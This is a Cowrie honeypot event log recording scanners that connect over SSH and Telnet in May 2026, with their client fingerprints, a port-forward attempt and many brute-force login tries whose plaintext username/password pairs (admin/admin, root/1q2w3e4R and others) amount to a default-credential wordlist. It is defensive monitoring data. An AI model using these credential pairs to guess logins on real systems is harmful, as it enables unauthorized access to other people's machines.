{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:39:32.815935Z","src_ip":"87.251.64.176","session":"6949aa028827","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:39:33.119087Z","src_ip":"87.251.64.176","session":"6949aa028827","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:39:33.219593Z","session":"6949aa028827","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:39:33.318013Z","src_ip":"87.251.64.176","session":"6949aa028827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:39:33.420529Z","src_ip":"87.251.64.176","session":"6949aa028827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":42790,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8621516cb71","protocol":"ssh","message":"New connection: 57.128.223.80:42790 (10.17.0.5:22) [session: d8621516cb71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:39:33.831458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:39:33.994430Z","src_ip":"57.128.223.80","session":"d8621516cb71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:39:34.092889Z","src_ip":"57.128.223.80","session":"d8621516cb71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"123456","message":"login attempt [ts3server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:39:34.546751Z","src_ip":"57.128.223.80","session":"d8621516cb71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:39:35.653001Z","src_ip":"57.128.223.80","session":"d8621516cb71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.55.223","src_port":45378,"dst_ip":"159.203.135.109","dst_port":22,"session":"6395db611c1e","protocol":"ssh","message":"New connection: 142.93.55.223:45378 (159.203.135.109:22) [session: 6395db611c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:40:17.040603Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:40:17.085500Z","src_ip":"142.93.55.223","session":"6395db611c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:40:17.092121Z","src_ip":"142.93.55.223","session":"6395db611c1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.55.223","src_port":45390,"dst_ip":"159.203.135.109","dst_port":22,"session":"a192503209be","protocol":"ssh","message":"New connection: 142.93.55.223:45390 (159.203.135.109:22) [session: a192503209be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:40:17.110773Z"}
{"eventid":"cowrie.client.version","version":"GET /favicon.ico HTTP/1.1","message":"Remote SSH version: GET /favicon.ico HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:40:17.131294Z","src_ip":"142.93.55.223","session":"a192503209be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:40:17.135293Z","src_ip":"142.93.55.223","session":"a192503209be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":59264,"dst_ip":"10.17.0.5","dst_port":22,"session":"191d02c61de5","protocol":"ssh","message":"New connection: 103.15.226.202:59264 (10.17.0.5:22) [session: 191d02c61de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:41:26.861933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:41:26.866788Z","src_ip":"103.15.226.202","session":"191d02c61de5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:41:27.116848Z","src_ip":"103.15.226.202","session":"191d02c61de5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ASDqwe123","message":"login attempt [root/ASDqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:41:27.868221Z","src_ip":"103.15.226.202","session":"191d02c61de5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:41:29.122480Z","src_ip":"103.15.226.202","session":"191d02c61de5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":51782,"dst_ip":"10.17.0.5","dst_port":23,"session":"f94141b4614a","protocol":"telnet","message":"New connection: 180.235.129.180:51782 (10.17.0.5:23) [session: f94141b4614a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:43:28.635181Z"}
{"eventid":"cowrie.session.closed","duration":10.375211000442505,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:43:39.010269Z","src_ip":"180.235.129.180","session":"f94141b4614a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":41576,"dst_ip":"10.17.0.5","dst_port":23,"session":"60a8407a1d99","protocol":"telnet","message":"New connection: 103.153.183.192:41576 (10.17.0.5:23) [session: 60a8407a1d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:44:00.127019Z"}
{"eventid":"cowrie.session.closed","duration":0.006742238998413086,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:44:00.133639Z","src_ip":"103.153.183.192","session":"60a8407a1d99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":33398,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9137afdd8d8","protocol":"ssh","message":"New connection: 103.15.226.202:33398 (10.17.0.5:22) [session: e9137afdd8d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:45:02.830747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:45:02.838714Z","src_ip":"103.15.226.202","session":"e9137afdd8d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:45:03.087281Z","src_ip":"103.15.226.202","session":"e9137afdd8d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4R","message":"login attempt [root/1q2w3e4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:45:04.114338Z","src_ip":"103.15.226.202","session":"e9137afdd8d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:45:05.364663Z","src_ip":"103.15.226.202","session":"e9137afdd8d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":55752,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6906bef80f6","protocol":"ssh","message":"New connection: 57.128.223.80:55752 (10.17.0.5:22) [session: c6906bef80f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:45:12.565654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:45:12.570137Z","src_ip":"57.128.223.80","session":"c6906bef80f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:45:12.686692Z","src_ip":"57.128.223.80","session":"c6906bef80f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"tester","message":"login attempt [test2/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:45:13.128618Z","src_ip":"57.128.223.80","session":"c6906bef80f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:45:14.241396Z","src_ip":"57.128.223.80","session":"c6906bef80f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":62396,"dst_ip":"159.203.135.109","dst_port":22,"session":"dde68e8cf06a","protocol":"ssh","message":"New connection: 2.57.121.112:62396 (159.203.135.109:22) [session: dde68e8cf06a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:46:35.130801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:46:35.136819Z","src_ip":"2.57.121.112","session":"dde68e8cf06a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:46:35.247257Z","src_ip":"2.57.121.112","session":"dde68e8cf06a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"noncapa0","message":"login attempt [admin/noncapa0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:46:35.742753Z","src_ip":"2.57.121.112","session":"dde68e8cf06a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nolimit5","message":"login attempt [admin/nolimit5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:46:36.852407Z","src_ip":"2.57.121.112","session":"dde68e8cf06a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"noaccess","message":"login attempt [admin/noaccess] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:46:37.960905Z","src_ip":"2.57.121.112","session":"dde68e8cf06a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nitehawk","message":"login attempt [admin/nitehawk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:46:39.069512Z","src_ip":"2.57.121.112","session":"dde68e8cf06a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ninnin","message":"login attempt [admin/ninnin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:46:40.178745Z","src_ip":"2.57.121.112","session":"dde68e8cf06a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:46:41.288205Z","src_ip":"2.57.121.112","session":"dde68e8cf06a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":42856,"dst_ip":"10.17.0.5","dst_port":23,"session":"038191157ba1","protocol":"telnet","message":"New connection: 212.55.149.117:42856 (10.17.0.5:23) [session: 038191157ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:47:32.365595Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":33080,"dst_ip":"10.17.0.5","dst_port":22,"session":"476a388f86b7","protocol":"ssh","message":"New connection: 103.15.226.202:33080 (10.17.0.5:22) [session: 476a388f86b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:48:38.834734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:48:38.839720Z","src_ip":"103.15.226.202","session":"476a388f86b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:48:39.084639Z","src_ip":"103.15.226.202","session":"476a388f86b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Skemasuprem@890","message":"login attempt [root/Skemasuprem@890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:48:39.820870Z","src_ip":"103.15.226.202","session":"476a388f86b7","protocol":"ssh"}
